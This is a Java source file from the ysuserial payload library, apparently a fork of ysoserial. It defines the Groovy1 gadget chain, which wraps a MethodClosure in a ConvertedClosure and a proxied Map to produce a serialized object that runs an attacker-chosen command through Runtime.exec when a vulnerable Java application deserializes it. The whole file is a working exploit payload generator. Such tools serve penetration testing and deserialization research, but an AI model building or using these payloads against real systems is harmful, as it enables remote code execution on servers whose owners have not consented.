content: package org.su18.ysuserial.payloads.gadgets;
  
  import java.lang.reflect.InvocationHandler;
  import java.util.Map;
  
  import org.codehaus.groovy.runtime.ConvertedClosure;
  import org.codehaus.groovy.runtime.MethodClosure;
  
  import org.su18.ysuserial.payloads.ObjectPayload;
  import org.su18.ysuserial.payloads.annotation.Authors;
  import org.su18.ysuserial.payloads.annotation.Dependencies;
  import org.su18.ysuserial.payloads.util.Gadgets;
  
  /*
  	Gadget chain:
  		ObjectInputStream.readObject()
  			PriorityQueue.readObject()
  				Comparator.compare() (Proxy)
  					ConvertedClosure.invoke()
  						MethodClosure.call()
  							...
  						  		Method.invoke()
  									Runtime.exec()
  
  	Requires:
  		groovy
   */
  
  @Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
  @Authors({Authors.FROHOFF})
  public class Groovy1 implements ObjectPayload<InvocationHandler> {
  
  	public InvocationHandler getObject(final String command) throws Exception {
  		final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
  
  		final Map map = Gadgets.createProxy(closure, Map.class);
  
  		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
  
  		return handler;
  	}
  }
  